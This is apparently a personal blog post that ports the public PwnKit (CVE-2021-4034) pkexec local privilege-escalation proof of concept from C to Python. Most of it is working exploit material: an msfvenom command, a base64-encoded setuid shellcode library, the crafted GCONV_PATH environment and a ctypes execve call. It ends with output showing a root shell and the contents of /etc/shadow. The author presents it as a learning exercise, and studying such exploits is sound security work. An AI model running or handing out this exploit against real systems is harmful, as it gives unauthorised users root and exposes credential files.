Converting a PoC for CVE-2021-4034 from C to Python
On 2022-01-25, Qualys dropped a 0-day local privilege escalation
vulnerability
in polkit’s pkexec
that allowed a local user to escalate to root
easily.
blasty posted PoC code
that evening. For my own learning and as an interesting exercise, I ported it
to Python. The payload is generated with msfvenom
, but the rest of the exploit
code is pure Python. Due to limitations in Python’s os.execve()
function, we
do need to drop directly into the C library to call pkexec
.
The code is available on my GitHub
Python’s os.execve()
function
One key factor in the exploit working is in how the Linux execve()
call handles
when passed argv=NULL
or envp=NULL
. From https://man7.org/linux/man-pages/man2/execve.2.html#NOTES:
On Linux, argv and envp can be specified as NULL. In both cases,
this has the same effect as specifying the argument as a pointer
to a list containing a single null pointer. Do not take
advantage of this nonstandard and nonportable misfeature! On
many other UNIX systems, specifying argv as NULL will result in
an error (EFAULT). Some other UNIX systems treat the envp==NULL
case the same as Linux.
The Qualys writeup of the vulnerability
details how calling pkexec
with an argument list of NULL
causes pkexec
to
overwrite a portion of it’s environment, allowing an attacker to introduce
an potentially insecure environment variable back into the process. Unfortunately,
Python’s os.execve()
function doesn’t allow a process to be executed with an argument
list of NULL
:
p5550$ python
Python 3.10.2 (main, Jan 24 2022, 20:21:50) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.execve('/usr/bin/pkexec', None, os.environ)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: execve: argv must be a tuple or list
>>>
>>> os.execve('/usr/bin/pkexec', (), os.environ)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: execve: argv must not be empty
>>>
Attempting to call execve()
with either an empty tuple or Null
cause exceptions.
The exploit code
To facilitate using different payloads with the script, I used msfvenom
to
generate the shared library needed to perform the actual exploit. Using this path
allows an attacker to drop in different payloads depending on their needs at
the time. The default exploit calls setuid(0)
, then spans /bin/sh
:
# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp
payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)
We also need the environment array to pass to execve()
:
we start with a list of Python strings, then convert them into a C array of char*.
# Set the environment for the call to execve()
environ = [
b'exploit',
b'PATH=GCONV_PATH=.',
b'LC_MESSAGES=en_US.UTF-8',
b'XAUTHORITY=../LOL',
None
]
# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ
To call execve
directly, we open the C library using the ctypes
CDDL
function:
# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
libc = CDLL(find_library('c'))
except:
print('[!] Unable to find the C library, wtf?')
sys.exit()
and call execve
with a NULL
argument list and the environment array we built earlier:
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
And we get a root shell:
p5550$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#